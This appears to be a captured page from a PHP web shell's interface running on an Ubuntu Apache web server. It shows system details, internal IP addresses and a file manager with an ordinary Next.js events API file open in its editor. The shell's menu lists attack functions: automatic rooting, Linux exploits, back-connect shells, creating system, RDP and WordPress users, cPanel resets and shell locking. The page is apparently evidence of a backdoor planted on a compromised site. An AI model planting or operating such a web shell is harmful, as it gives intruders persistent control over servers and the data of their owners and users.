Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
src /
app /
api /
getAllEvents /
[ HOME SHELL ]
Name
Size
Permission
Action
route.js
972
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : route.js
import { data } from "autoprefixer"; import connectSql, { connection } from "../connectDb/route"; import { NextResponse } from "next/server"; export async function GET(req) { connectSql(); const events = await connection .promise() .query("SELECT * FROM events ORDER BY eDate DESC") .then(([data, fields]) => { return data; }) .catch((err) => { console.log(err); return NextResponse.json( { result: "Error getting events" }, { status: 500 } ); }); const dataToSend = []; events.map((event) => { dataToSend.push({ id: event.id, eName: event.eName, description: event.description, eDate: event.eDate, eTime:event.eTime, numParticipants: event.numParticipants, speaker_Id: event.speaker_Id, }); }); // console.log(dataToSend); return NextResponse.json({ result: dataToSend }, { status: 200 }); }
Close